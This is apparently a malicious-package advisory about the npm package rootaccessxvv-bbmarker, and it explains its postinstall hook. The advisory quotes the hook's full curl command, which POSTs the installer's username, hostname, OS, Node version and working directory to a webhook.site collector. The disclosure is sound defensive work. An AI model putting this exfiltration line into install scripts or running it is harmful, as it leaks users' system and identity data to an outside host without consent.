MAL-2026-18108

Dashboard / Malicious Package / MAL-2026-18108

MAL-2026-18108

Summary: Malicious code in rootaccessxvv-bbmarker (npm)

Details: Its `postinstall` hook runs on npm install: `curl -s -m 10 -X POST "https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof" -H "Content-Type: text/plain" --data-binary "DPD-REGISTRY-RCE-PROOF|user=$(whoami)|host=$(hostname)|node=$(node --version)|os=$(uname -a 2>/dev/null || ver)|cwd=$PWD|[email protected]|benign-research-rootaccessxvv" || true`. The hook collects the username, hostname, Node.js version, operating system, working directory and package name, then sends them to `https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof`. The npm account `mohamed2343224` published it on 2026-10-18. Source: amazon-inspector (126c6e67bc80ed62f5e620ef9a8ce11ca39653348a59bc8d7a1d0cef76f72a02) package.json declares a postinstall lifecycle script that runs on `npm install` and POSTs installer host identifiers to a hardcoded webhook.site collector at https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof. The script shells out to `whoami`, `hostname`, `uname`, and `node -v`, concatenates the output with the current working directory, and sends the result via `curl -X POST`. The destination is an anonymous third-party webhook aggregator unrelated to any legitimate install-time dependency. The package name self-describes as a proof-of-concept, but the behavior — automatic install-time collection and exfiltration of installer identity and host metadata to an attacker-controlled collector — is a working supply-chain attack regardless of how it is labeled.

References: https://www.npmjs.com/package/rootaccessxvv-bbmarker/v/1.0.2, https://www.npmjs.com/package/rootaccessxvv-bbmarker